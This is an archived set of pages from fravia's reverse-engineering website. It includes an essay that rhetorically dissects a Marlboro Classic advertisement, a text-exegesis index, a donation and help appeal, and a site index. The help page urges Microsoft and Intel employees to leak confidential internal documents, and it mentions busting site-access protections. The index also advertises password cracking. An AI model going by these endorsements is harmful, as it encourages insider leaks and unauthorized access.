beginning of this century, like Georg Waitz, Harry Bresslau, Ernst Dmmler, Oswald Holder-Egger and
many more... These professors had not only exceptional brains and capacities but also, for a lucky
historical coincidence, almost unlimited resources at their disposal. Since Germany was young and
wanted to 'prove' its historical 'right' to be one of the great european nations, the exegesis of medieval
text-sources "Quellenforschung", reached highs that afterwards noone never obtained again. That's the
reason most sources originally published (and 'cracked') between 1820 and 1915 are still being
re-published and used nowadays (by the degenerated historians of to-day, who -mostly- don't know
neither greek nor latin and tend to read (and publish) sources in their translated and non-collated
versions... a truly barbarical degeneration when you think that most HIGH SCHOOL professors -not to
mention the university teachers- could around 1900 read latin, greek... and often enough Sanskrit as
well!) in fact, text-cracking and text-exegesis, and all rethorical lores, are sciences in DECADENCE! Yet
maybe the web effect will now change this.
Alas! Stupid Germans went militarist twice and all their reversing cleverness notwithstanding all the
German reversers went conquering their neighbours! The greatest text-crackers scene of this planet was
almost completely destroyed! In fact all the students of the great exegesis wizards that were not killed
during the first World War did die during the Second World War, and the whole 'text-crackers' scene
went down with them (hence the appearence and predominance of the completely useless and 'frill
oriented' french school of the "Bloch and Duby sort" in the fifties and sixties :-)
Yet not all great text-crackers disappeared... there have been some rare exceptions, the most significant
of them being represented by Adolf Hofmeister, a student of the great Alexander Cartellieri, and himself
last great wizard in text-cracking. Hofmeister survived in the small German university of Greifswald, and
did even impart his teachings to a couple of younger students, Frithjof Sielaff being the most able one...
but that is another (very interesting) story... :-)

In the reality cracking section of my site you'll already find some outstanding essays that cover, at least
in part, this same argument (for instance Martine Joly's Rhetoric of advertisement, a "Marlboro Classic"
Advertisement analyzed, yet they are, like most anti-advertisement essays, mostly 'visual' oriented.

Nuff said, for now: Knwoledge of the lost exegesis techniques and of rhetoric will be enough (at least I
hope) to reverse any text black and blue, at least compared with to-days almost absolute ignorance of
these matters (and yet I believe that our reversing techniques are something that would be really worth

http://www.instinct.org/fravia/exegesis.htm (2 of 4) [2/7/2001 2:56:22 PM]


realicra.htm: TEXT CRACKING, exegesis and rethorical cracking

teaching in the schools to-day).

The Essays
Here you go... as you can imagine this all is FAR from being correctly systemathized...

necrophi.htm
Gossip's Sexual tendencies and practices of necrophiliacs...
with an introduction and exegesis by fravia+
14 October 1998

ductusu1.htm
VK's Landlord vs Tenant: a "text-exegesis" crack
with a small exegesis addition by fravia+
21 October 1998

truber_1.htm
Trubert's Linguistic cracking
('Nationality' exegesis)
23 December 1998

NATO aggression adjectives


Fravia's "propaganda cracking"
('NATO-Serbia wars: April/May 1999)
Spring 1999

Reality Cracking

http://www.instinct.org/fravia/exegesis.htm (3 of 4) [2/7/2001 2:56:22 PM]


realicra.htm: TEXT CRACKING, exegesis and rethorical cracking

homepage links +ORC most recent essays


anonymity counter measures bots wars CGI antismut cocktails
search_forms history of this site AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/exegesis.htm (4 of 4) [2/7/2001 2:56:22 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

Rhetoric of advertisement, a "Marlboro Classic" Advertisement


analyzed.
Reversing some truths behind two images

by Martine Joly (MARE)

(14 March 1998)


Reality cracking
Courtesy of fravia's page of reverse engineering

Well, this is a great essay: a SUMMA of the various techniques you can use in order to analyse an image, or a whole
advertisement visual message, applied to a specific target: in this case a publicity for clothes, by "Marlboro Classic".
Martine Joly offers here very valuable keys (and very deep inside knowledge) that anyone will be able to use in order to
reverse -and to understand- the cascade of visual messages that we receive, all of them trying to push us irrationally (or
better: very rationally from THEIR point of view) into buying some crap that we don't need at all. Be warned: this is a very
scary matter, and what you'll read here will make you a little paranoid... and yet you'll never be paranoid enough, since you
are compelled to live in a "global" society, without any alternatives, that not only allows this kind tricks to be thrown
against unsuspecting poor slaves but de facto foster them... Note how the deep truth behind all old teachings from +ORC
("By all means: learn rhetoric!") is being confirmed in every aspect of our reversing activity.
Clearly we must learn to reverse not only in order to "understand" the world around us, but -to put it simply- in order to
"survive"... at least this is the lesson I have once more learned here... our enemies, the "commercial slave masters" seem to
be clever... but their power is based on IGNORANCE. And even if we don't win (yet), at least we are going down with all
our cannons shooting! Therefore let's fight the master of ignorance through the teaching of people that can help us learn a
lot, as you will indeed learn, reading this: a great "thanks" to Martine Joly! (Hey, does MARE mean "Master of
advertisement reverse engineering"? :-)

Rhetoric of advertisement, a "Marlboro Classic"


advertisement analyzed
By Martine Joly (MARE)
14 March 1998
I'm sorry, but after having searched the Web everywhere I could not find any ready-scanned image of the advertisement
that I will analyze here. You'll have to content yourselves with the badly scanned image I have made myself, that is until
some pious soul will find and send me (or fravia+) a better scanned image of this advertisement.
Here it is:

http://www.instinct.org/fravia/marlbo2.htm (1 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

Left page Right page

Enlargement of right picture

Let's go straight to the point: This Advertisement took a double page of the Magazine "Nouvel Observateur" on 17 October
1991 (I wrote a paper on this two years later).
This French Magazine has an intello-leftist readership: middle class vaguely left oriented French managers and similar
people. The fact that it has been published in OCTOBER is important, seen the contents of the product promoted.
Description:
The advertismeent takes a DOUBLE page of the magazine.
The left page is completely filled by a dark picture: brown tones on a white-gray background, of part of the chest and
abdomen of a person without face, wearing a leather blazer, we see his right hand, leather gloved, holding the reins of an
horse that we do not see, we see only the horn cap of the saddle and a little part of the crest between neck and back of the
horse. The whole picture represents an huge dark lump that fills the whole space of the right diagonal part of the image.
The right page carries on the top third a small picture (8cm * 10 cm), centred, that represents a snow-filled landscape:
some wooden barriers that seem to delimit a corral, on a background of snow and trees without leaves. There is no sky at
all in this image.

http://www.instinct.org/fravia/marlbo2.htm (2 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

There is a text above this smaller image: "L'hiver est proche, nos points de vente aussi" (in English: "Neither winter nor
our selling points are far away". Below the image there is a complete list of French addresses divided by categories:
"Boutiques exclusives", "Corners" and "Points de vente". The town and city names are underlined. This list of names and
addresses fills almost the whole page.
Below, always on the right page, centred and in big bold characters, there is the Product logo: "Marlboro Classic" and
below this, smaller: "Fits the man".
A very small reference sends you to a tiny translation on the right side: "Habille les hommes" which finds, on the left side
of the right page, a counterpart: "Un produit de Marlboro Leisure Wear"
The whole visual message contains THREE different messages: a plastic message, an iconic message and a linguistic
message. We will analyse all three messages, and then see how they interact.
The plastic message
The frame
Each image has physical limits, that are more or less indicated by a frame, according to the various poques and styles.
The frame is often seen has a restriction, and that's the reason that you will often see tricks in order to "abolish" or let
people "forget" it, from internal re-framing to the simple discarding of the frame.
On the left page the image does not have any frame, it looks "cut", interrupted by the page margins, therefore we cannot
see the rest of it "because the page is too small".
This trick: amalgamating the frame (or better: the frame-limits) with the marges of the support (here the left page of the
magazine) has particular consequences on the imagination of the spectator. In fact this cut, whose responsibility seems to
lay more on the dimensions of the support than on the choice of the image, pushes the spectator to RECONSTRUCT in his
imagination what he does not see in the visual field of the representation, but that must exist to complete the image snippet
he is seeing: the "outside".
The lack of a frame on the left page (where the reading begins, never forget this!) creates a "centrifugal" image with an
imaginary complementary construction. This kind of approach references implicitly the universe of cinema, that has so
often used this kind of tricks.
The white space on the LEFT page, on the contrary, is the frame for the small picture, that finds place like a small window
inside the upper third of the page. Here the 'thick' frame incorporates, on the contrary, the visual representation, and starts a
process of "centripetal" reading that invites the spectator to "get inside" the fictive depth, like a landscape painting. This
kind of approach references painting traditions, not the universe of cinema.
The framing
Understand the difference between framing and frame. The frame is the LIMIT of the visual representation, the framing is
the size of the image, the result of the distance between object in the picture and objective. The two different framing on
the two pages are in total opposition. A vertical and very NEAR framing on the left side gives you the impression of being
really next to the subject; the horizontal, large framing on the right page gives you on the contrary the impression of being
far far away. Note how the two framing propose at the same time a comparative reversing of the relative proportions: what
is SMALL (the blazer) acts VERY BIG and what is BIG (nature, landscape) acts VERY SMALL.
Choice of the Objective and picture angle
The choice of these two elements is VERY IMPORTANT, because it strengthens or eliminates the impression of reality
due to the photographic support (Photographic pictures are NOT drawings, they should depict 'reality').
In the left image the angle is from the perspective of a person standing on his feet in the proximity of another riding a
horse, who gains therefore height and Strength. In the second image, on the right page, on the contrary, you have an angle
'from above' and get the impression that you 'dominate' the landscape.
Note how on the left image they did choose a long objective (see the little 'flou' effects?). The opposition between these
'flou' zones, behind and below, and the clear unclouded blazer and horn cap brings automatically your eyes on some
elements of this pictures against others, and decides in this way the privileged zones of attention of this advertisement.
These are exactly the points that you need to individuate in order to understand and reverse the 'hidden' meanings of this

http://www.instinct.org/fravia/marlbo2.htm (3 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

image. Even the lack of depth is a trick: it transforms a place in a "nowhere place", and therefore an "everywhere place" as
well.
Composition and paging
The composition is the intern geography of a visual message, one of the most important plastic tools of the advertisers.
Composition plays a fundamental role in the hierarchysation of your vision, orienting the reading of the image that you
will perform. In ANY image (painting, film-plan, drawing whatever) the construction is fundamental and may respect, or
rebuke a series of conventions that have been developed in different poques, periods and styles. Yet eyes always follow
THE PATH THAT HAS BEEN PREPARED INSIDE THE IMAGE. The existence of reading patterns is well known, the
most obvious ones are the left to right Euroamerican one, the Top to bottom Sino-Japanese one, and the right to left Arabic
one. In advertisement there are four possibilities:
1) the "lines of power" construction: these imaginary lines point towards a part of the advertisement that works as a
fulcrum. Your vision is "pulled" towards the strategically placed location of the product name.
2) The axial construction: the product is placed exactly on the axis of your vision, generally in the exact middle of the
advertisement.
3) The "in depth" construction: the product is integrated in a perspective placed scene and has the first plan inside this
painstakingly constructed scene.
4) The sequential construction: your vision follows the advertisement and then 'falls" at the end of the path, on the product,
that in a left-right Euroamerican orientation of the reading will be mostly on the bottom right of the advertisement. The
most typical model of sequential construction is the "Z" form: you begin on the top left side, something happens that
brings your vision to the top right, then something sends you on the bottom left and read a small text that runs towards the
bottom right, with the representation of the product or of the product logo or of the product name.
These constructions correspond to different strategies: if you throw on the market a new product you will try to use the
axial construction, where the product monopolises the image and throws its colours and lights towards you. If you are
advertising a well known and already existing product you will use targeted and in depth constructions. If you want to
attribute to the product qualities that do not exists (the most interesting reversing targets) you will use a sequential
construction that shifts during the reading the qualities of the advertisement (luxury, nature, see, naked women, whatever)
onto the product. This, being the most vicious advertisement technique, has been forbidden in Europe for cigarettes. As we
will see, Marlboro has found a way around it.
Let's go back to our image and notice its sequential construction, from left to right, falling then onto the Marlboro logo,
below, on the right page. Each page has its own logic:
On the left side the oblique slope of the mass carries your vision from the most luminous point of the whole advertisement,
the saddle horn, which has been placed in axial position, in a slope towards the top right side of the left page, where you
will be able to 'pass' to the right page and read the verbal comment, then you will fall vertically from the top to the bottom
of the right page and land on the product name. See how 'dynamic' is the sequential construction as well: in our society an
oblique line from bottom left to top right "/", is often associated with dynamic, energy, progress, hope and so on, while the
contrary, an oblique descending towards right "\" is more connected with falling, regression, destruction. See also how on
the right page the descending reading is VERTICAL and not OBLIQUE, avoiding the 'negative' associations and favouring
"equilibrium" and "straightness".
FORMS
Form interpretation is basically anthropological and cultural. Let's have a look at our target: once more we notice a system
of oppositions: left we have SOFT forms, that are organised as a mass, right we have a system of LINES, slim and vertical,
at times underlined horizontally. These lines recall the lines inside the small picture. The whole right page is composed of
small thin lines on a white background, looks like a very slow and 'cosy' snowfall. At the bottom of the right page the dark
mass of the typographical characters echoes visually the soft mass of the left page where the cylindrical vertical form
negates all 'softness'.
COLOURS AND LIGHT
The colours are the same in both pictures: brown, light grey, silver, white. The typographical characters are black on a
white background. WHITE: colour of the COLD, of SNOW, of NORTH (and in the Western world, of purity, chastity,
innocence, hygiene, simplicity, peace, wise, old, aristocracy, monarchy and godness as well). GREY, colour of heavy sky

http://www.instinct.org/fravia/marlbo2.htm (4 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

and metal. Black and white as contrary of the colours, BROWN for earth, tree- rinds, leather, fur. These evident
associations are in our target even more underlined by the iconic signs themselves. The warmness of the browns fights
here against the coldness of the greys, silvers and white.
Light is DIFFUSE in both pictures. The winter sky does not have shadows nor depth. This kind of light is used to diminish
the reality of images, since you loose space parameters, loose depth, get more quiet colours. It's a trick to block for the
spectator any possibility of time-reference. This pushes even more the imprecise character of the place and time of the
representation. This helps once more to generalise the representation.
Note also how the TEXTURE differs between the two pictures: Left there is some "granularity" and a supposed
"thickness", while the picture on the right is smooth and "glaced", which underlines the character of coldness and distance
of this image. So we have a TACTILE texture on the left and a VISUAL texture on the right.
Analysing the relation between the two pages we find therefore not so much an antithesis but an oxymoron, a rhetorical
figure ("a combination for epigrammatic effect of contradictory or incongruous words" "Make haste slowly") that produces
-putting next to each other two opposed terms- a global signification which is somehow "tamed" and enriched by the
opposed values of its two elements. As Master +ORC wrote: A good knowledge of ancient rhetoric is a powerful weapon
indeed when you need to reverse the world around you... "better than kung-fu" to defend yourself in the virtual world of
images, messages and subliminal conditioning of to-day.
ICONIC OF THE MESSAGE
We already saw some of the iconic figurative signs reading the verbal message. Clearly, in this kind of target, every single
element has ANOTHER meaning, different from the 'obvious' one.
On the left page we have recognised a leather blazer, an arm and a gloved hand holding the reins of an unseen horse. We
also have a saddle horn and a part of the neck of the animal.
On the right page we have a snowed landscape, with the barriers of an empty corral.
Here we have a synecdochical representation (or metonymical) we see actually only PARTS of elements that are there to
suggest a WHOLE by contiguity, like as the lack of a frame pushed us to reconstruct the missing rest of the image. Here is
the significant chain:

ICONIC FIRST LEVEL SECOND LEVEL

Part of a blazer blazer choice of clothes


Man clothes

saddle horn saddle horse-riding, nature


virility

mane hairs horse neck horse far-west

soft leather natural product warmth, sensuality


resistance, protection

leather glove, man hand Chill, comfort Toughness


hand strength Equilibrium
"soft wrist" calm, flexibility
attitude

saddle horn rest point strength phallic virility


vertical, hard saddle physical capability

reins horse nature, dominion far west

http://www.instinct.org/fravia/marlbo2.htm (5 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

snowed landscape Chill, hard natural reality

empty corral far west Marlboro cigarettes


cow boy moving

Of course you may depict differently the various relations, yet you will always land grossomodo on the same results. As
you can see, even if you only see a limited amount of circumstances, these elements are more than enough to denote a
series of qualities that are attributed to an imaginary man, solid and sport-oriented, with his equilibrium and his
comfortable attitude, that gradually will be identified with the stereotyped cow-boy image that has been repeated and
vulgarised in the last years by Marlboro for its Cigarettes.
The attitude of the model
In advertisement, typically, models can

either 1) "look you straight in the eyes", giving you the impression of having an interpersonal relation with you, mostly
with an "I" and "You" colloquial attitude.

Or 2) look somewhere else, and invite you to look to a third party or personage or event as well.
In the first case you need to speak with somebody, you need to obey to somebody, in the second case you wish to imitate
and get some of the qualities of the model. I'll leave to my readers the sad task to understand the relevant implications of
both approaches :--)
Here we don't even have the FACE of the model, yet his arm and hand suggest quite a lot. Not only are we missing his
face, the whole head has been cut off. The 'impossible' and provocative effect of this decapitation, that could differ too
much from the 'usual' advertisement horizon of the spectator, where faces play a preponderant role, is in our target
diminished by a series of complementary aspects.
- The lack of a frame stimulates -as we have seen- the spectator to reconstruct the missing face (as well as the rest of the
body, of the horse, of the landscape...).
- The fact that you concentrate your regard on the chest, and on the protective curve of the arm gives you more the
impression of security and comfort that the impression of watching a body cut ion pieces (as you are actually doing).
- The absence of a precise physiognomy allows anyone to give to the model HIS preferred physiognomy, among others his
own one :--)
The absence of the face denotes the most important rhetorical figure of this advertisement target: the ellipsis (from the
greek word elleipsis: omission). The ellipsis is a very important rhetorical figure in all form of advertisement and
subliminal conditioning (therefore loved and used by politicians, PR-men and crooks alike): it plays on the non-said, on
the non-showed. Instead of developing an argument through its clean-cut, explicit argumentations, the ellipsis plays on the
'knowledges' that the reader/spectator already has, and creates a sort of complicity between initiated (+ORC himself uses it
throughout his tutorial :--)
Here your already present knowledge NOT ONLY reconstructs the missing face of the cow-boy, but GIVES HIM THE
ABSENT CHARACTER OF THE MARLBORO COW-BOY lui-mme. Through a series of publicity (quite dirty) tricks,
Marlboro has passed its cow-boy symbology from cigarettes to fire-lighters and then to clothes. This diversification does
not block the 'recognising' of the cigarettes product. This elliptical understanding gives you a sensation of complicity, the
pleasure of the connivance, a new transgression that cannot be punished: nothing has been REALLY said, nothing has
been REALLY shown.. there is nothing to say.
The ellipsis plays in our target another role: the advertisement gains a 'temporal' reserve: the corral on the right page is
empty. It was full of horses at a given time before, it will be full again in the future: we are therefore in a transitory
moment, between the last travel and the next one.
THE LINGUISTIC MESSAGE

http://www.instinct.org/fravia/marlbo2.htm (6 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

Images (as we have seen here) carry a LOT of messages. The text is therefore very important to eliminate part of the
polysemantic variants offered by the images. You find here (on the right page, at the bottom) "Marlboro Classic". This is
reassuring, clearly, if the notice would have been "Paris 1912", for instance, the spectator would have been taken by
surprise (another not so fancy technique).
Here we have a triple linguistic message: a legend: "L'hiver est proche, nos points de vente aussi"; a list of addresses, the
product "Marlboro classic" and an 'explanation': "Fits the man", with French translation.
Before analysing the "contents", let's have a look at the very important typographical aspect of the words, i.e. choice of
fonts, colours and disposition on the page. As you can see you have bold and thick characters for the logo, uppercase slim
for the legend and little caps for the addresses. The legend "L'hiver est proche, nos points de vente aussi" (this target has
been published in October, as we have seen) corresponds to the time reality of the moment, and works as ANCHOR and as
CONNECTOR.
As ANCHOR since it defines winter, the cold season, snow as a privileged reading level for the whole target among all
other elements that we have seen. As CONNECTOR for the rest of the message. In fact the vicinity in time of a particular
season (or whatever else) cannot be exprimed graphically... that's the reason you still have in films and cartoons the small
"one month later" written advices... how should the spectator or reader, anchored in his subjective real time else follow the
virtual imposed film or cartoon time?
Here there is as well a play between the temporal proxility of the winter season and the spatial proximity of the shops
where you (should) buy these clothes. Note also how they use a "nos". This "we" create a relation with an implicit
"vous"/"you" that could have been represented visually, but that is impossible in this target seen that there is no "face" and
therefore the interpersonal involvment is demandated to the text. "Points de vente" is also a notion that the target prefers
NOT to represent visually (seen that it would underline the 'purpose' of the whole operation) and that has been graphically
eliminated choosing instead other images and associations that bring more positive imagination stimuli with them.
Once more some rhetoric (we will never insist enough on its importance): the text uses here a variant of the ellipsis: the
zeugma from greek zeugnumi: yoke. A phrase in which one word modifies or governs two or more not connected in
meaning: "Miss Bolo went straight home in a flood of tears and a sedan chair" (Dickens, Pickwick, XXXV). usually the
zeugma is used to give as granted, in a period, some terms used in a previous sentence. The correct French phrase would
have been: "L'hiver est proche, nos points de vente sont proches aussi". but here the quality of one part of the period are
passed onto the other part: season and time "go over" to the shops where you can buy; Winter=shop; time and space are
mixed in one ineluttable necessity: winter comes (true) therefore I must get some warm Marlboro clothes (or either at least
smoke a Marlboro cigarette).
The long list of addresses gives the impression that Marlboro classic is everywhere, universal, like the use of an english
part 'Fits the man' on a French magazine underlines as well. Not the use of "the"... fits the whole human race.
SYNTHESE
The reader that has followed my text until this point can easily perform a synthese of this target's real messages. I'll leave
this as an useful exercise to you. I will just finish, after all these words of mine, repeating the old (true) proverb: a good
image is worth a lot of text pages...
Reverse well! (and, yes, I know that my English is far from perfect... anybody wants to proof-read and correct this? Please
do).
(c) 1998 Martine Joly All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Reality cracking

homepage links anonymity +ORC students' essays academy database

http://www.instinct.org/fravia/marlbo2.htm (7 of 8) [2/7/2001 2:56:39 PM]


marlbo.htm: REALITY CRACKING, Rhetoric of advertisement: a Marlboro Classic Advertisement analyzed.

tools cocktails javascripts wars antismut CGI-scripts search_forms mail_fravia+


Is reverse engineering legal?

http://www.instinct.org/fravia/marlbo2.htm (8 of 8) [2/7/2001 2:56:39 PM]


help.htm: fravia's page of reverse engineering what you can do for me.

I need your help!


(Last update: June 1999)

You have landed on fravia's site. This site follows the spirit of the 'old' web, where high level information
was always provided for free, something else than the pukeocean of useless frillpages and bannerclicking
hellsites so common today.
Since I'm ferociously anti-commercial oriented, this site of mine is completely advertisement free, and you
will not be asked to click onto anything, nor will you compelled to read anything you are not interested in
yourself. And you will find quite a lot of valuable information on my site for free.
You are welcome, but notice that your help would be welcomed as well. If you think you cannot help, just
go ahead and serve yourself. All the information on this site is for you to have. If you believe you can
help, read on.

Some of the pages and sections on my site are "under construction" (de facto blocked) because I do not have
the time to follow all 'my' leads (as I would like) and because -unfortunately- I must waste a great part of my
life earning it. This site and its mirrors average now 40,000 ~ 60,000 hits per DAY and judging from your
trails, most of my readers are software professionals and quite capable wizards.
I get hundred of emails with many tips I would like to add... but I cannot manage it alone any more: I need
help!

Any Seeker?, any Lawyer? any Donor?


Any University teacher?, anyone working for Microsoft or
Intel?
any reverser with a little spare time?
(Would you like to mirror my site?)
Of course any reader can help me just sending me 404 info and pointing out other possible errors on my
pages
If you are visiting my site for the first time please read a word to the confused ones, and if you are
interested in the history of this site, please feel free to read it.

If you are a seeker


Any knowledge seeker really interested in one of the "leads" on my site? Please contact me and WORK. I
have already demandated some sections:

http://www.instinct.org/fravia/help.htm (1 of 5) [2/7/2001 2:56:44 PM]


help.htm: fravia's page of reverse engineering what you can do for me.

+ORC's riddle... the Basilisk (with the mighty help of Hackmore+Readrite) has worked hard on it, as
you can see here.
My Java section is not yet open... you can nevertheless download Vermitech's good java tutorial...
just pkunzip -d (for recursive directories) it on your harddisk and then browse it off line!
The +HCU maillists that have been managed -very well- by +Zero, +Malattia, The+Chineese and
+Greythorne
The Our protection section, managed together by +RCG, +Sync and your truly+ never started out
completely, we are now trying a new How to Protect better section
The how to search section, managed by your truly+ with some help by Robin Hood and Surreal5
(both quite lazy in recent times :-)
The 404 reports, where I found a very valuable help in RedHerring: a capable stalker.
The +HCU Visual Assembler Project, started and managed perfectly by +Mammon_ with the help
of +ReZiDeNt and many other capable ones

If you are a Lawyer


Lawyers should investigate the juridical situation of reverse engineering in order to defend our researches
against "I'll scare you" rhetoric; Have a look at my "Is reverse engineering legal?" page, you could delve
deeper in that stuff.
Since disassembling and reverse engineering are more and more widespread, a clever lawyer would probably
be good advised to specialise in such themes
A good lawyer would probably also be able to help refining my "Scarecrow license agreements and how to
defeat them" page.
Some questions need to be cleared: what's the value of a statement (on a software package) like this one:
"You may not reverse engineer this software"?
Is it a ridiculous wishful thinking (like if you would write 'You may not wear red pants using this software"),
seen that there is no LAW that forbid reverse engineering (see legal.htm), or does it really confer to that
software some (feeble) rights?
What if we write "you may not use the save-as option" LEAVING that option fully implemented? Would
using the save-as option in such case represent an infragement as well? What's the difference, if so, between
leaving the save-as option implemented or either protecting poorly (or not at all) its use?
As you can see, there are a lot of matters that need to be better cleared... the recent attempts to criminalize a
priori any reverse engineering activity should also be analysed in all their orwellian meaning...

If you are a Donor


Donors may any time send me enough money to allow me to leave my job for a couple of years (I would
love it) in order to dedicate all my time to this endeavour.
See: there is no advertisement, no sponsor, no 'banner to click' on my site: I have chosen -purposely- NOT to
prostitute my site. (all the continuous comercial offers notwithstanding :-) I believe I'm one of the very few

http://www.instinct.org/fravia/help.htm (2 of 5) [2/7/2001 2:56:44 PM]


help.htm: fravia's page of reverse engineering what you can do for me.

'important' sites that DOES NOT go commercial, because I hate all the commercial oriented bastards that are
polluting our web.
So I'm loosing money with all this, just for the sake of it...

See, what I'm really "fishing for" is a billion-rich philantropist that would like to set up a nice reversing
foundation and let me have a try at directing it :-)

If you are an university teacher


If you are an University teacher or director and are able to influence and/or organize workshops and/or
conferences in your university, consider the possibility of inviting me.
I can present, with passion and purpose, a general introduction to global reverse engineering, any sort of how
to search the web workshop or I can conduct more specifically oriented illustrated lectures, practical
exercises, field cracking seminars and technical workshops.
I can teach my own new, innovative techniques or I can reinforce well-established methodologies through
my reversing approach.

My lessons and seminars (up to 30 persons) are free (for universities and public educational institutes), yet I
do request reimbursement for my travel and accomodation costs.
European Union Universities will always have scheduling priority.
For additional information concerning the content and level of the short courses and seminars, just contact
me. I can conduct workshops in English, German, French or Finnish, but I would suggest English, for
obvious reasons...

As an example here is the last workshop I held: A simple semanthical/reality cracking seminar (this was held
in Germany): we took the main Euroamerican newspaper (and CNN) covering of the US-leaded Multi-forces
Landing in Somalia, plus the covering of their departure and we added some facts that emerged afterwards
about the bad conduct of these same troops in Somalia. (Of course in order to gather all the relevant info and
images from various net archives we proceeded also to reverse or bust some simple site-access protection
schemes made in perl or javascript :-)
At the end of the workshop, the existence of pre-prepared patterns of disinformation in the news was quite
obvious and I demonstrated (at least I hope I did :-) how such older 'disinformation modules' -once studied
and reversed- can easily be reused by the readers in order to reverse less obvious cases of organised
disinformation (like the actual "Kossovo" affair, which follows analoguous patterns).
And yes, before you ask, these disinformation modules "develop" too, exactly like software protection
schemes do :-)

If you are working for our banes


A special plea
If you are WORKING FOR MICROSOFT OR FOR INTEL and you are reading these pages (for whatever
reason :-) please understand: we need you! Consider the possibility of betraying your masters and deliver us
all the inside specifications that we need to defeat your company's planes! Pass us the documentation of all
tricks used to ruin Netscape and all the others! Send us material about the 'hidden' projects! We need names,
Info, hints! We need your help badly! We have no money for you and you'll probably loose your job (if you
are not careful)... yet you know more than anybody else why you must help us!

http://www.instinct.org/fravia/help.htm (3 of 5) [2/7/2001 2:56:44 PM]


help.htm: fravia's page of reverse engineering what you can do for me.

Any reverser with a little spare time?


1) Have a look at my new fortress! there are many 404s and broken links, unfortunately :-(
Since I'm continuously updating (and working) I do not have the time to check them personally and I must
admit that my automated links-checking scripts are FAR from perfect. Therefore, by all means: if you find
any broken or notworking links on my new fortress! (or on any other "main" mirror, for that matter)
PLEASE email me (with exact references). I'll (try to) fix any broken link you'll have pointed out. Send your
404s to me.

2) Critics and suggestions about the existing essays are also ALWAYS welcome. Keep in mind that
ANYTHING on my site can be changed if you convince me. As I stated more than once I am ready even to
CHANGE MY MIND if your arguments are good enough.

3) I know that my english -to say the least- lends itself to quite a number of possible "ameliorations" . Please,
if you can, do me a favour and GO AHEAD! Correct! Change! Suggest! Your linguistic critics are always
welcome and could/will be useful for quite a lot of other readers as well.

4) Moving around the web I have "lost" some files. Anyone that downloaded them from the "old sites" of
mine could possibly re-send them to me? Here a small first list: wcb.zip; trackmem.zip; filedump.zip; ia.zip;
bizatch1.zip; exeutil.zip; psp21.zip; ums1.zip; cust.zip; ucfpd114.zip; stress.zip; wspy.zip; gwb.zip;
gwbasic.zip.

Anyone wants to mirror?


Actually I don't need any more mirrors, thanks anyway.

Some explanation
My old fortress was heavily syn-attacked in January 1999 and forced to close (the router frigged). I took the
opportunity to held a short 'vacation' from the web and went back end-April with a new fortress that is now
being heavily guarded and defended by wizard Kevin (nonetheless :-)
Since the attackers are from the West coast of the States (and have been documented using 8 machines from
a M$-stream at one given time :-) some visitors from that area may experience some problems (basically
heavy automated trackwork :-) when accessing from West coast USA backbones (a backbone is the
high-traffic-density connectivity portion of any communications network)

Since the syn-attackers were beginning to bust my mirrors as well, some friends decided to set up a "mirror
jungle". You'll be able to find lists of my many mirrors (not all of them working) at Tapu's and especially at
Jeff's special pages.

homepage
Back to the main entrance

homepage links search_forms +ORC anonimity academy antismut CGI scripts


counter measures tools +HCU Academy javascript wars reality cracking
students' essays cocktails bots wars mail_fravia+

http://www.instinct.org/fravia/help.htm (4 of 5) [2/7/2001 2:56:44 PM]


help.htm: fravia's page of reverse engineering what you can do for me.

Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

"Copy-protection schemes": elegant devices for training the next generation of assembly-language
programmers

http://www.instinct.org/fravia/help.htm (5 of 5) [2/7/2001 2:56:44 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

[basic]
[guts]
[anonimity]
[be careful dad]
[bots]
[counter measures]
[javascript wars]
[against smut]
[reverse
[reality cracking]
engineering]
[reality cracking [fravia's own]
lab] [refs]
[reverse
[Anonymity lab]
engineering Lab]
[stalking Lab]
[software
[How to search Lab]
protection Lab]
[Site busting Lab]
[reversing tools
[LINKS]
Lab]
[TOOLS]

How do you search something at fravia's?


N.B.: The essays' database is at the moment NOT being updated
fravia's past updates researches at fravia's

Read the news!


Fravia's blackboard! Alphabe!

Software reverse engineering, web survival arguments, how to search, anonymity on the Web; cookies
removal; robots and spiders trapping; anti-Micro$oft, anti-Netscape and pro-Opera scripts and tricks;
tools for software reverse engineering; cgi-cracking; user self-defense; corporate survival counter
measures; home-pages capering and passwords cracking; commercial smut sites busting; Java applets
reversing; vxd monitoring and reversing; steganographical and cryptological reversing matters;
Javascript based site protections

On the Web since 1995!

http://www.instinct.org/fravia/entran.htm (1 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

The "basic" section

links, tools and search engines... all good sites have these sections... but look at
mines!
fravia's favourite links page
Here you'll find some good links, obviously commented

Little learning tools page


Here you'll find quite a lot of useful shareware tools, of course uncracked

search engines page ('heavy') ~ search engines page ('light')


Here you'll be able to search the Web with the best search engines without delays due to obscene
publicity
(provided you have learned how to search!)

The software reverse engineering Lab


__The "guts" section__

The "guts" of this site: +ORC's "how to crack, a tutorial" and the coveted students' essays... studying
these documents you'll learn how to reverse engineer any software... be warned, there is a HUGE
amount of material in here (more than 315 (yes, threehundredand15) essays :-)

+ORC's official repository


(Here you'll also find the old "uncrackable" +ORC's gate and information about the +HCU)

+ORC's students' essays


(Here you'll find three hundred short and well crafted essays, a must reading if you intend to master the
difficult art of software reverse engineering!)

